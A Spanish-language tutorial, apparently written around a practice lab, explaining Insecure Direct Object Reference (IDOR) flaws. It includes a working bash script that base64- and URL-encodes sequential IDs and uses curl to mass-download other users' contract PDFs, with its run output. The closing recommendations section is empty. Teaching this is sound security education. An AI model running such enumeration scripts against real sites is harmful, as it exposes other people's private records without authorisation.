Insecure Direct Object References (IDOR)

Control de acceso

Featured image

Las vulnerabilidades de Referencias Directas a Objetos Inseguros (IDOR) son un tipo común de problema de seguridad en aplicaciones web. Estas ocurren cuando una aplicación web gestiona directamente referencias a objetos internos, como archivos o entradas de base de datos, a través de identificadores que son visibles y manipulables por el usuario, como en URLs o formularios.

Esto puede exponer a la aplicación a:

Ejemplo

Una aplicación web te permite visualizar tu perfil mediante un enlace del tipo /profile/api.php/profile/1. Este enlace muestra directamente datos de tu perfil por medio de una API.

idor10

idor11

Si cambias el número de /profile/api.php/profile/1 en la URL a 4, podrías acceder a datos de otros usuarios registrados si la aplicación no verifica adecuadamente tus permisos.

idor12

idor13

Bypassing Encoded References

En muchos sistemas, los identificadores de objetos, como IDs de usuario o archivos, se transmiten en formatos codificados (por ejemplo, base64) para disfrazar la información o integrarse con tecnologías web de manera más fluida. Una vez que el atacante comprende cómo se estructuran los identificadores, puede modificarlos para intentar acceder a objetos a los que no debería tener acceso. Esto podría incluir cambiar un número de ID en un URL, parámetro de formulario o dentro de una cookie.

Consideremos el siguiente ejemplo, donde se identifica el parámetro contract. Como se observa, este parámetro está codificado para URL.

idor7

idor8

Para determinar el proceso de codificación, se puede analizar el código fuente. Esto permite comprender su funcionamiento y facilita la creación de un script que extraiga la información de manera efectiva.

idor9

#!/bin/bash

downloadContracts() {
  base_url="http://94.237.54.214:45922/download.php?contract="

  for i in {1..20}; do
    # Codificar el número en base64
    encoded=$(echo -n $i | base64)

    # Codificar la salida base64 para URL (reemplaza '+' por '%2B', '/' por '%2F' y '=' por '%3D')
    url_encoded=${encoded//+/%2B}
    url_encoded=${url_encoded//\//%2F}
    url_encoded=${url_encoded//=/%3D}

    # Construir la URL completa
    full_url="${base_url}${url_encoded}"

    # Descargar el archivo
    curl -o "contract_${i}.pdf" "${full_url}"
  done
}

# Llamada a la función
downloadContracts             
┌─[root@kali]─[/home/user/idor]
└──╼ chmod +x downloadcontracts.sh

┌─[root@kali]─[/home/user/idor]
└──╼ ./downloadcontracts.sh   
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    30  100    30    0     0     72      0 --:--:-- --:--:-- --:--:--    72

┌─[root@kali]─[/home/user/idor]
└──╼ ls
contract_10.pdf  contract_12.pdf  contract_14.pdf  contract_16.pdf  contract_18.pdf  contract_1.pdf   contract_2.pdf  contract_4.pdf  contract_6.pdf  contract_8.pdf  downloadcontracts.sh
contract_11.pdf  contract_13.pdf  contract_15.pdf  contract_17.pdf  contract_19.pdf  contract_20.pdf  contract_3.pdf  contract_5.pdf  contract_7.pdf  contract_9.pdf        

Recomendaciones